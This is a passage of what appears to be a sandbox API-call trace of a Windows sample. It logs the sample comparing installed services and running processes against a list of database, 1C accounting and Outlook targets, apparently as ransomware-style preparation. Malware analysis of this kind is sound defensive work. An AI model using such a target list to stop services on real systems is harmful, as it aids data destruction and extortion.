(lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.579] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.579] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.579] lstrlenW (lpString="gpsvc") returned 5 [0167.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.579] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.579] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.579] lstrlenW (lpString="iphlpsvc") returned 8 [0167.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.579] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.579] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.579] lstrlenW (lpString="LanmanServer") returned 12 [0167.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.579] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.579] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.579] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.579] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0167.579] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.580] lstrlenW (lpString="lmhosts") returned 7 [0167.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.580] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.580] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.580] lstrlenW (lpString="MMCSS") returned 5 [0167.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0167.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0167.580] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0167.580] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0167.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0167.580] lstrlenW (lpString="MpsSvc") returned 6 [0167.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.580] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.580] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.580] lstrlenW (lpString="Netman") returned 6 [0167.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0167.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0167.580] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0167.580] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0167.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0167.580] lstrlenW (lpString="netprofm") returned 8 [0167.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.580] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.580] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.581] lstrlenW (lpString="NlaSvc") returned 6 [0167.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.581] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.581] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.581] lstrlenW (lpString="nsi") returned 3 [0167.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.581] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.581] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.581] lstrlenW (lpString="PcaSvc") returned 6 [0167.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.581] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.581] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.581] lstrlenW (lpString="PlugPlay") returned 8 [0167.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.581] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.581] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.581] lstrlenW (lpString="Power") returned 5 [0167.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.582] lstrlenW (lpString="ProfSvc") returned 7 [0167.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.582] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.582] lstrlenW (lpString="RpcSs") returned 5 [0167.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.582] lstrlenW (lpString="SamSs") returned 5 [0167.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.582] lstrlenW (lpString="Schedule") returned 8 [0167.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.582] lstrlenW (lpString="SENS") returned 4 [0167.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.583] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.583] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.583] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.583] lstrlenW (lpString="Spooler") returned 7 [0167.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0167.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0167.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0167.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0167.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0167.583] lstrlenW (lpString="SysMain") returned 7 [0167.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0167.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0167.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0167.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0167.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0167.583] lstrlenW (lpString="Themes") returned 6 [0167.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0167.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0167.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0167.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0167.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0167.583] lstrlenW (lpString="TrkWks") returned 6 [0167.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0167.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0167.584] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0167.584] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0167.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0167.584] lstrlenW (lpString="UxSms") returned 5 [0167.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0167.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0167.584] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0167.584] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0167.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0167.584] lstrlenW (lpString="WdiServiceHost") returned 14 [0167.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.584] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0167.584] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0167.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0167.584] lstrlenW (lpString="WdiSystemHost") returned 13 [0167.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.584] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0167.584] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0167.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0167.584] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0167.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.584] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0167.584] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0167.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0167.584] lstrlenW (lpString="Winmgmt") returned 7 [0167.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0167.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0167.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0167.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0167.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0167.585] lstrlenW (lpString="WPDBusEnum") returned 10 [0167.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.585] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0167.585] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0167.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0167.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0167.585] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0167.587] Process32FirstW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.587] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.588] lstrlenW (lpString="System") returned 6 [0167.588] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0167.588] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0167.588] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0167.588] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0167.588] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0167.588] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0167.588] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0167.588] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.588] lstrlenW (lpString="smss.exe") returned 8 [0167.588] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0167.588] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0167.588] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0167.588] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0167.588] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0167.588] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0167.589] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0167.589] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.589] lstrlenW (lpString="csrss.exe") returned 9 [0167.589] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.589] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.589] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.589] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.589] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.589] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.589] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0167.589] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.589] lstrlenW (lpString="wininit.exe") returned 11 [0167.590] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0167.590] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0167.590] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0167.590] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0167.590] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0167.590] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0167.590] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0167.590] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.590] lstrlenW (lpString="csrss.exe") returned 9 [0167.590] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.590] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.590] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.590] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.590] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.590] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.590] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.591] lstrlenW (lpString="winlogon.exe") returned 12 [0167.591] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.591] lstrlenW (lpString="services.exe") returned 12 [0167.591] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.592] lstrlenW (lpString="lsass.exe") returned 9 [0167.592] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0167.592] lstrlenW (lpString="lsm.exe") returned 7 [0167.592] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.592] lstrlenW (lpString="svchost.exe") returned 11 [0167.592] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.593] lstrlenW (lpString="svchost.exe") returned 11 [0167.593] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.593] lstrlenW (lpString="svchost.exe") returned 11 [0167.593] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.594] lstrlenW (lpString="svchost.exe") returned 11 [0167.594] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.594] lstrlenW (lpString="svchost.exe") returned 11 [0167.594] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.595] lstrlenW (lpString="audiodg.exe") returned 11 [0167.595] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.595] lstrlenW (lpString="svchost.exe") returned 11 [0167.595] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.596] lstrlenW (lpString="svchost.exe") returned 11 [0167.596] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.596] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.596] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.597] lstrlenW (lpString="taskhost.exe") returned 12 [0167.597] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.597] lstrlenW (lpString="svchost.exe") returned 11 [0167.597] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0167.597] lstrlenW (lpString="userinit.exe") returned 12 [0167.597] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.598] lstrlenW (lpString="dwm.exe") returned 7 [0167.598] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 